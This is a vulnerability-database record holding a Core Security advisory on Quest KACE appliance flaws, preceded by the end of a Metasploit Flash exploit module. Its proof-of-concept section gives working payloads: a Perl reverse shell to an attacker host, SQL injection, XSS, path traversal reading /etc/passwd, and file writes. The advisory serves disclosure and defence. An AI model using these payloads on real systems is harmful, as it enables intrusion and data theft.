width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" Play=\"true\"/> \n</object> \n</body> \n</html> \n) \n \nreturn html_template, binding \nend \n \ndef create_swf \npath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf') \nFile.binread(path) \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/151589/adobe_flash_delete_range_tl_op.rb.txt"}, {"lastseen": "2018-06-01T10:31:25", "bulletinFamily": "exploit", "description": "", "modified": "2018-05-31T00:00:00", "published": "2018-05-31T00:00:00", "id": "PACKETSTORM:148005", "href": "https://packetstormsecurity.com/files/148005/Quest-KACE-System-Management-Appliance-8.0-Build-8.0.318-XSS-Traversal-Code-Execution-SQL-Injection.html", "title": "Quest KACE System Management Appliance 8.0 (Build 8.0.318) XSS / Traversal / Code Execution / SQL Injection", "type": "packetstorm", "sourceData": "`Core Security - Corelabs Advisory \nhttp://corelabs.coresecurity.com/ \n \nQuest KACE System Management Appliance Multiple Vulnerabilities \n \n1. *Advisory Information* \n \nTitle: Quest KACE System Management Appliance Multiple Vulnerabilities \nAdvisory ID: CORE-2018-0004 \nAdvisory URL: \nhttp://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities \nDate published: 2018-05-31 \nDate of last update: 2018-05-22 \nVendors contacted: Quest Software Inc. \nRelease mode: Forced release \n \n2. *Vulnerability Information* \n \nClass: Improper Neutralization of Special Elements used in an OS Command \n[CWE-78], Improper Neutralization of Special Elements used in an OS Command \n[CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege \nManagement [CWE-269], Improper Privilege Management [CWE-269], Improper \nAuthorization [CWE-285], Improper Neutralization of Special Elements used \nin an SQL Command [CWE-89], Improper Neutralization of Special Elements \nused in an SQL Command [CWE-89], Improper Neutralization of Input During \nWeb Page Generation [CWE-79], External Control of File Name or Path \n[CWE-73], External Control of File Name or Path [CWE-73] \nImpact: Code execution \nRemotely Exploitable: Yes \nLocally Exploitable: Yes \nCVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, \nCVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, \nCVE-2018-11133, \nCVE-2018-11137, CVE-2018-11141 \n \n3. *Vulnerability Description* \n \n>From Quest KACE's website: \n \n\"The KACE Systems Management Appliance [1] provides \nyour growing organization with comprehensive management of network-connected \ndevices, including servers, PCs, Macs, Chromebooks, tablets, printers, \nstorage, networking gear and the Internet of Things (IoT). KACE can fulfill \nall of your organization's systems management needs, from initial deployment \nto ongoing management and retirement.\" \n \nMultiple vulnerabilities were found in the Quest KACE System Management \nVirtual Appliance that would allow a remote attacker to gain command \nexecution as root. We present three vectors to achieve this, including \none that can be exploited as an unauthenticated user. \n \nAdditional web application vulnerabilities were found in the web console \nthat is bundled with the product. These vulnerabilities are detailed in \nsection 7. \n \nNote: This advisory has limited details on the vulnerabilities because \nduring the attempted coordinated disclosure process, Quest advised us not \nto distribute our original findings to the public or else they would \ntake legal action. Quest's definition of \"responsible disclosure\" can be \nfound at \nhttps://support.quest.com/essentials/reporting-security-vulnerability. \n \nCoreLabs has been publishing security advisories since 1997 and believes \nin coordinated disclosure and good faith collaboration with software vendors \nbefore disclosure to help ensure that a fix or workaround solution is ready \nand available when the vulnerability details are publicized. We believe \nthat providing technical details about each finding is necessary to provide \nusers and organizations with enough information to understand the \nimplications \nof the vulnerabilities against their environment and, most importantly, to \nprioritize the remediation activities aiming at mitigating risk. \n \nWe regret Quest's posture on disclosure during the whole process (detailed \nin the Report Timeline section) and the lack of a possibility of engaging \ninto a coordinated publication date, something we achieve (and have \nachieved) with many vendors as part of our coordinated disclosure practices. \n \n4. *Vulnerable Packages* \n \n. Quest KACE System Management Appliance 8.0 (Build 8.0.318) \nOther products and versions might be affected too, but they were not tested. \n \n5. *Vendor Information, Solutions and Workarounds* \n \nQuest reports that it has released the security vulnerability patch \nSEC2018_20180410 to address the reported vulnerabilities. \nPatch can be download at \nhttps://support.quest.com/download-install-detail/6086148. \n \nFor more details, Quest published the following Security Note: \nhttps://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- \n \n6. *Credits* \n \nThese vulnerabilities were discovered and researched by Leandro Barragan \nand Guido Leo from Core Security Consulting Services. The publication of \nthis advisory was coordinated by Leandro Cuozzo from Core Advisories Team. \n \n7. *Technical Description / Proof of Concept Code* \n \nQuest KACE SMA ships with a web console that provides administrators and \nusers with several features. Multiple vulnerabilities were found in the \ncontext of this console, both from an authenticated and unauthenticated \nperspective. \n \nSection 7.1 describes how an unauthenticated attacker could gain command \nexecution on the system as the web server user. \n \nVulnerabilities described in 7.2 and 7.3 could also be abused to gain code \nexecution but would require the attacker to have a valid authentication \ntoken. \n \nIn addition, issues found in the Sudo Server module presented in 7.4 and \n7.5 would allow the attacker to elevate his privileges from the web server \nuser to root, effectively obtaining full control of the device. \n \nAdditional web application vulnerabilities were found in the console, such \nas insufficient authorization for critical functions, which would allow an \nanonymous attacker to reconfigure the appliance (7.6), SQL injection \nvulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path \ntraversal vulnerabilities, which would allow an attacker to read, write and \ndelete arbitrary files (7.9, 7.10, 7.11). \n \n7.1. *Unauthenticated command injection* \n \n[CVE-2018-11138] \nThe '/common/download_agent_installer.php' script is accessible to anonymous \nusers in order to download an agent for a specific platform. This behavior \ncan be abused to execute arbitrary commands on the system. \n \nThe script receives the following parameters via the GET method: \n \n. platform: Indicates the platform in which the agent is going to be \ninstalled \n. serv: SHA256 hash of a fixed value that depends of each appliance \n. orgid: Organization ID \n. version: Version number of the agent \n \nThe last two conditions are simple to meet. The Agent versions are publicly \navailable within the Quest KACE site, but even if they were not, we found \nthat the Organization ID parameter is vulnerable to a time based SQL \ninjection \n(refer to issue 7.7). \nThis would make it possible to obtain the agent version by querying the \ntable 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' \ncolumn. The Organization ID is 1 by default, but could be obtained in the \nsame way as the Agent version by querying the table 'ORGANIZATION' and \nthe column 'ID'. \n \nAs stated above, the application uses the Organization ID and Agent \nversion parameters to execute commands. This means we need to find a way \nto append system commands within the Organization ID, without breaking the \nSQL query. If we use the comment symbol (#), we can append anything we want \nwithout affecting the result of the query. \n \nPreparing payload: \n \n/----- \n- platform = windows \n- serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c \n- orgid = 1#;perl -e 'use \nSocket;$i=\"[AttackerIP]\";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash \n-i\");};'; \n- version = 8.0.152 (last agent version available for windows) \n-----/ \n \nThe following proof of concept executes a reverse shell: \n \n/----- \nGET \n/common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b'%3b&version=8.0.152 \nHTTP/1.1 \nHost: Server \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nConnection: close \nUpgrade-Insecure-Requests: 1 \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 0 \n-----/ \n \n/----- \n$ nc -lvp 8080 \nListening on [0.0.0.0] (family 0, port 8080) \nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, \nsport 20050) \nsh: can't access tty; job control turned off \n$ id \nuid=80(www) gid=80(www) groups=80(www) \n-----/ \n \n7.2. *Authenticated command injection* \n \n[CVE-2018-11139] \nThe '/common/ajax_email_connection_test.php' script used to test the \nconfigured \nSMTP server is accessible by any authenticated user and can be abused to \nexecute arbitrary commands on the system. This script is vulnerable to \ncommand injection via the unsanitized user input 'TEST_SERVER' sent to the \nscript via POST method. \n \nThe following proof of concept executes a reverse shell: \n \n/----- \nPOST /common/ajax_email_connection_test.php HTTP/1.1 \nHost: [ServerIP] \nAccept: application/json, text/javascript, */*; q=0.01 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nContent-Type: application/x-www-form-urlencoded; charset=UTF-8 \nX-Requested-With: XMLHttpRequest \nContent-Length: 416 \nCookie: [Cookie] \nConnection: close \n \nTEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP \n-----/ \n \n/----- \n$ nc -lvp 8080 \nListening on [0.0.0.0] (family 0, port 8080) \nConnection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, \nsport 20050) \nsh: can't access tty; job control turned off \n$ id \nuid=80(www) gid=80(www) groups=80(www) \n-----/ \n \n7.3. *PHP Object Injection leading to arbitrary command execution* \n \n[CVE-2018-11135] \nAn authenticated user could abuse a deserialization call on the script \n'/adminui/error_details.php' to inject arbitrary PHP objects. \n \nTo exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array \nand meet some specific conditions in order to successfully exploit the \nissue. \n \n7.4. *Privilege escalation via password change in Sudo Server* \n \n[CVE-2018-11134] \nIn order to perform actions that requires higher privileges, the application \nrelies on a message queue managed that runs with root privileges and only \nallows a set of commands. \n \nOne of the available commands allows to change any user's password \n(including root). \n \nAssuming we are able to run commands in the server, we could abuse this \nfeature by changing the password of the 'kace_support' account, which \ncomes disabled by default but has full sudo privileges. \n \n7.5. *Privilege escalation via command injection in Sudo Server* \n \n[CVE-2018-11132] \nAs mentioned in the issue [7.4], in order to perform actions that require \nhigher privileges, the application relies on a message queue that runs \ndaemonized with root privileges and only allows a set of commands to be \nexecuted. \n \nA command injection vulnerability exists within this message queue which \nallows us to append arbitrary commands that will be run as root. \n \n7.6. *Insufficient Authorization for critical function* \n \n[CVE-2018-11142] \n'systemui/settings_network.php' and 'systemui/settings_patching.php' \nscripts are accessible only from localhost. This restriction can be bypassed \nby modifying the 'Host' and 'X_Forwarded_For' HTTP headers. \n \nThe following proof of concept abuses this vulnerability to shutdown the \nserver as an anonymous user: \n \n/----- \nPOST /systemui/settings_network.php HTTP/1.1 \nHost: localhost \nX-Forwarded-For: ::1 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nReferer: http://[ServerIp]/systemui/settings_network.php \nContent-Type: multipart/form-data; \nboundary=---------------------------5642543667001619951434940129 \nContent-Length: 3418 \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \n-----------------------------5642543667001619951434940129 \nContent-Disposition: form-data; name=\"CSRF_TOKEN\" \n-----------------------------5642543667001619951434940129 \nContent-Disposition: form-data; name=\"$shutdown\" \nDoIt! \nContent-Disposition: form-data; name=\"save\" \nSave \n-----------------------------5642543667001619951434940129-- \n-----/ \n \n7.7. *Unauthenticated SQL Injection in download_agent_installer.php* \n \n[CVE-2018-11136] \nThe 'orgID' parameter received by the '/common/download_agent_installer.php' \nscript is not sanitized, leading to SQL injection. In particular, a blind \ntime based type. \n \nThe following proof of concept induces a time delay: \n \n/----- \nhttp://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 \nAND SLEEP(10)%23;&version=8.0.152 \n-----/ \n \n7.8. *SQL Injection in run_report.php* \n \n[CVE-2018-11140] \nThe 'reportID' parameter received by the '/common/run_report.php' script \nis not sanitized, leading to SQL injection. In particular, an error based \ntype. \n \nThe following proof of concept retrieves the current database name: \n \n/----- \nPOST /common/run_report.php HTTP/1.1 \nContent-Length: 161 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nHost: [ServerIP] \nAccept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 \nConnection: close \nReferer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= \nUpgrade-Insecure-Requests: 1 \nContent-Type: application/x-www-form-urlencoded \nCookie: [Cookie] \n \ndate=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf \n-----/ \n \n/----- \nHTTP/1.1 200 OK \nDate: Thu, 08 Feb 2018 21:50:21 GMT \nServer: Apache \nExpires: Thu, 19 Nov 1981 08:52:00 GMT \nCache-Control: no-store, no-cache, must-revalidate, post-check=0, \npre-check=0 \nPragma: no-cache \nVary: Accept-Encoding \nAccess-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, \nx-kace-auth-signature, accept, origin, content-type \nAccess-Control-Allow-Origin: * \nAccess-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS \nX-KACE-Appliance: K1000 \nX-KACE-Host: [ServerIP] \nX-KACE-Version: 8.0.318 \nX-KBOX-WebServer: [ServerIP] \nX-KBOX-Version: 8.0.318 \nX-KACE-WebServer: [ServerIP] \nX-UA-Compatible: IE=9,EDGE \nCache-Control: private, no-cache, no-store, proxy-revalidate, no-transform \nContent-Length: 3548 \nConnection: close \nContent-Type: text/html; charset=utf-8 \n \n[...SNIPPED...] \n<script type=\"text/javascript\" \nsrc=\"/common/js/vendor/html5.js?BUILD=318\" /></script> \n<![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta \nhttp-equiv='refresh' \n[...SNIPPED...] \n-----/ \n \n7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* \n \n[CVE-2018-11133] \nThe 'fmt' parameter of the '/common/run_cross_report.php' script is \nvulnerable to cross-site scripting. \n \nThe following proof of concept demonstrates the vulnerability: \n \n/----- \nhttp://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 \n-----/ \n \n7.10. *Path traversal in download_attachment.php leading to arbitrary \nfile read* \n \n[CVE-2018-11137] \nThe 'checksum' parameter of the '/common/download_attachment.php' script can \nbe abused to read arbitrary files with 'www' privileges. The following proof \nof concept reads the '/etc/passwd' file. No administrator privileges are \nneeded to execute this script. \n \nIt is worth noting that there are several interesting files that can be \nread with 'www' privileges, such as all the files located in \n'/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', \nwhich contain plaintext passwords. \n \n/----- \nhttp://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 \n-----/ \n \nThe following proof of concept demonstrates the vulnerability: \n \n/----- \nGET \n/common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= \nHTTP/1.1 \nHost: [ServerIP] \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nCookie: [Cookie] \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \nHTTP/1.1 200 OK \nDate: Thu, 18 Jan 2018 17:18:19 GMT \nServer: Apache \nCache-Control: must-revalidate, post-check=0, pre-check=0 \nExpires: -1 \nPragma: public \nContent-Disposition: attachment; filename=\"\" \nContent-Transfer-Encoding: Binary \nContent-Description: K1000 attachment \nContent-Length: 2400 \nAccess-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, \nx-kace-auth-signature, accept, origin, content-type \nAccess-Control-Allow-Origin: * \nAccess-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS \nX-KACE-Appliance: K1000 \nX-KACE-Host: k10000. \nX-KACE-Version: 8.0.318 \nX-KBOX-WebServer: k10000. \nX-KBOX-Version: 8.0.318 \nX-KACE-WebServer: k10000. \nX-UA-Compatible: IE=9,EDGE \nCache-Control: private, no-cache, no-store, proxy-revalidate, no-transform \nConnection: close \nContent-Type: application/octet-stream \n \n# $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ \n# \nroot:*:0:0:Charlie &:/root:/bin/csh \ndaemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin \noperator:*:2:5:System &:/:/usr/sbin/nologin \nbin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin \ntty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] \n-----/ \n \n7.11. *Path traversal in advisory.php leading to arbitrary file \ncreation/deletion* \n \n[CVE-2018-11141] \nThe 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the \n'/adminui/advisory.php' script can be abused to write and delete files \nrespectively. The following proof of concept creates a file located at \n'/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 \nencoded). \nFiles can be at any location where the 'www' user has write permissions. \n \nFile deletion could be abused to delete \n'/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's \nexistence defines if the appliance setup wizard is shown or not. \n \nThe following proof of concept demonstrates the vulnerability: \n \n/----- \nPOST /adminui/advisory.php?ID=10 HTTP/1.1 \nHost: [ServerIP] \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nAccept-Encoding: gzip, deflate \nReferer: http://[ServerIP]/adminui/advisory.php?ID=10 \nContent-Type: multipart/form-data; \nboundary=---------------------------2671551246366368501556269100 \nContent-Length: 1705 \nCookie: [Cookie] \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \n-----------------------------2671551246366368501556269100 \nContent-Disposition: form-data; name=\"CSRF_TOKEN\" \n \n99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e \n-----------------------------2671551246366368501556269100 \nContent-Disposition: form-data; name=\"IMAGES_JSON\" \n \n{\"/../../../resources/TestWrite\":\"aaaaaa,VGVzdENvbnRlbnQ=\"} \n-----------------------------2671551246366368501556269100 \nContent-Disposition: form-data; name=\"FARRAY[ID]\" \n[...SNIPPED...] \n-----/ \n \nTaking advantage of 7.2 and 7.4 we are able to verify the file creation: \n \n/----- \n[root@k10000 /kbox/kboxwww/resources]# ls -lha \ntotal 32 \ndrwxr-xr-x 2 www wheel 512B Feb 9 20:40 . \ndrwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. \n-rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite \n-----/ \n \n8. *Report Timeline* \n2018-02-26: Core Security (Core) sent an initial notification to Quest \nSoftware Inc. (Quest) via web form. \n2018-03-05: Quest Support confirmed the receipt and requested additional \ninformation. \n2018-03-12: Core Security sent a draft advisory including a technical \ndescription. \n2018-03-16: Quest Support asked for the CVE-IDs. \n2018-03-16: Core Security answered saying that the CVE-IDs are required \nonce the vendor verifies the vulnerabilities. Additionally, Core Security \nrequested a confirmation about the reported vulnerabilities and a tentative \ntimescale to fix them. Finally, Core Security requested that Quest use \nCore's advisories-publication email address as the official communication \nhannel also copying the researchers behind this discovery. \n2018-03-16: Quest Support thanked Core's reply and stated it will be in \ntouch during the process. \n2018-03-20: Quest Support informed that they had not yet received any \nupdates from the engineering team and had requested one. \n2018-03-21: Quest Support requested information about the KACE version \nused for reporting the issues and also Core's company name and information. \n2018-03-21: Core replied with the affected version (that was included in \nthe original draft advisory) and a link to the Core company website and \nthe list of previous security advisories. \n2018-03-21: Quest Support acknowledged the information provided. \n2018-03-26: Quest's KACE product manager (PM) thanked Core for making it \naware of the security issues found and the level of thoroughness and details \nprovided. Quest specified it had fixes already in place for some of the \nissues. Quest's KACE PM asked for a conference call in order to understand \nmore about Core's offerings for future engagements. Finally, Quest's KACE \nPM notified the work done by Core is in breach of its license agreement, \nand requested Core not to distribute the findings to the public, otherwise \nuest would take legal action. \n2018-04-13: Quest's KACE PM sent a follow up email and informed that it \nmade a hotfix to patch the reported vulnerabilities. Quest also requested \na call meeting to understand future opportunities based on the Core's \ncompany capabilities. Finally, Quest asked for information about the \nresearcher that found the vulnerabilities and a link of Core's choosing \nin order to be included in Quest's Acknowledgment page \n(https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). \n2018-04-16: Core answered email from 2018-03-26 stating the company is \nfollowing standard practices with regards to coordinated vulnerability \ndisclosure, and also sent detailed technical information about our findings \nat Quest's request. Core also mentioned Quest seems to be well versed in \nthe disclosure process and expects vendors to coordinate with it prior to \npublication via Quest's vulnerability reporting process, and that Quest's \nlegal threat appears to be in direct contradiction to the disclosure \nprocess that they encourage on their website. Finally, Core asked about \nQuest's intention to work collaboratively to address these vulnerabilities \nand to follow industry standard disclosure processes that involves \npublication of the vulnerabilities. \n2018-04-17: Quest's KACE PM replied saying it is willing to collaborate \nand is looking forward to having a conversation over the phone in order to \ncontinue the next steps in its vulnerability process (forwarded email from \n2018-04-13). \n2018-04-17: Core thanked the answer and stated the willingness of keeping \nwritten communications between parties in order to better document the \nprocess and communicated the next steps of the process including: 1. Testing \nthe fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be \nincluded in the advisory and finally 4. Send final advisory version to \nvendor and coordinate publication date together. With regards to Quest's \nrequests, Core provided the researchers names and URL of the advisory when \nit will be published. Finally, Core stated that the request for other Core \ncompany services could be forwarded to the Core services team if needed \n(and asked the right contact at Quest) but our intention is to keep that \nservices request separate from the coordinated disclosure process. \n2018-04-18: Quest Support informed that they had publicly made available \npatches for its customers and unilaterally closed the case. \n2018-05-31: Advisory CORE-2018-0004 published. \n \n9. *References* \n \n[1] https://www.quest.com/products/kace-systems-management-appliance/ \n \n10. *About CoreLabs* \n \nCoreLabs, the research center of Core Security, is charged with anticipating \nthe future needs and requirements for information security technologies. \nWe conduct our research in several important areas of computer security \nincluding system vulnerabilities, cyber-attack planning and simulation, \nsource code auditing, and cryptography. Our results include problem \nformalization, identification of vulnerabilities, novel solutions and \nprototypes for new technologies. CoreLabs regularly publishes security \nadvisories, technical papers, project information and shared software \ntools for public use at: \nhttp://corelabs.coresecurity.com. \n \n11. *About Core Security* \n \nCore Security provides companies with the security insight they need to \nknow who, how, and what is vulnerable in their organization. The company's \nthreat-aware, identity amp; access, network security, and vulnerability \nmanagement solutions provide actionable insight and context needed to \nmanage security risks across the enterprise. This shared insight gives \ncustomers a comprehensive view of their security posture to make better \nsecurity remediation decisions. Better insight allows organizations to \nprioritize their efforts to protect critical assets, take action sooner \nto mitigate access risk, and react faster if a breach does occur. \n \nCore Security is headquartered in the USA with offices and operations in \nSouth America, Europe, Middle East and Asia. To learn more, contact Core \nSecurity at (678) 304-4500 or info@coresecurity.com \n \n12. *Disclaimer* \n \nThe contents of this advisory are copyright (c) 2018 Core Security and (c) \n2018 CoreLabs, and are licensed under a Creative Commons Attribution \nNon-Commercial Share-Alike 3.0 (United States) License: \nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/ \n \n13. *PGP/GPG Keys* \n \nThis advisory has been signed with the GPG key of Core Security \nadvisories team, which is available for download at \nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc. \n \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/148005/CORE-2018-0004.txt"}], "coresecurity": [{"lastseen": "2018-05-31T20:39:20", "bulletinFamily": "info", "description": "## 1\\. Advisory Information\n\n**Title: **Quest KACE System Management Appliance Multiple Vulnerabilities \n**Advisory ID: **CORE-2018-0004 \n**Advisory URL: **<http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities> \n**Date published: **2018-05-31 \n**Date of last update: **2018-05-22 \n**Vendors contacted: **Quest Software Inc. \n**Release mode: **Forced release\n\n## 2\\. Vulnerability Information\n\n**Class: **Improper Neutralization of Special Elements used in an OS Command [[CWE-78](<http://cwe.mitre.org/data/definitions/78.html>)], Improper Neutralization of Special Elements used in an OS Command [[CWE-78](<http://cwe.mitre.org/data/definitions/78.html>)], Deserialization of Untrusted Data [[CWE-502](<http://cwe.mitre.org/data/definitions/502.html>)], Improper Privilege Management [[CWE-269](<http://cwe.mitre.org/data/definitions/269.html>)], Improper Privilege Management [[CWE-269](<http://cwe.mitre.org/data/definitions/269.html>)], Improper Authorization [[CWE-285](<http://cwe.mitre.org/data/definitions/285.html>)], Improper Neutralization of Special Elements used in an SQL Command [[CWE-89](<http://cwe.mitre.org/data/definitions/89.html>)], Improper Neutralization of Special Elements used in an SQL Command [[CWE-89](<http://cwe.mitre.org/data/definitions/89.html>)], Improper Neutralization of Input During Web Page Generation [[CWE-79](<http://cwe.mitre.org/data/definitions/79.html>)], External Control of File Name or Path [[CWE-73](<http://cwe.mitre.org/data/definitions/73.html>)], External Control of File Name or Path [[CWE-73](<http://cwe.mitre.org/data/definitions/73.html>)] \n**Impact: **Code execution \n**Remotely Exploitable: **Yes \n**Locally Exploitable: **Yes \n**CVE Name: **[CVE-2018-11138](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11138>), [CVE-2018-11139](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11139>), [CVE-2018-11135](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11135>), [CVE-2018-11134](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11134>), [CVE-2018-11132](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11132>), [CVE-2018-11142](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11142>), [CVE-2018-11136](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11136>), [CVE-2018-11140](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11140>), [CVE-2018-11133](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11133>), [CVE-2018-11137](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11137>), [CVE-2018-11141](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11141>)\n\n## 3\\. Vulnerability Description\n\nFrom Quest KACE's website:\n\n\"The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement.\"\n\nMultiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user.\n\nAdditional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7.\n\nNote: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of \"responsible disclosure\" can be found at <https://support.quest.com/essentials/reporting-security-vulnerability>.\n\nCoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk.\n\nWe regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices.\n\n## 4\\. Vulnerable Packages\n\n * Quest KACE System Management Appliance 8.0 (Build 8.0.318)\n\nOther products and versions might be affected too, but they were not tested.\n\n## 5\\. Vendor Information, Solutions and Workarounds\n\nQuest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at <https://support.quest.com/download-install-detail/6086148>.\n\nFor more details, Quest published the following Security Note: [https://support.quest.com/kace-systems-management-appliance/kb/254193/se...](<https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410->)\n\n## 6\\. Credits\n\nThese vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team.\n\n## 7\\. Technical Description / Proof of Concept Code\n\nQuest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective.\n\nSection 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user.\n\nVulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token.\n\nIn addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device.\n\nAdditional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a 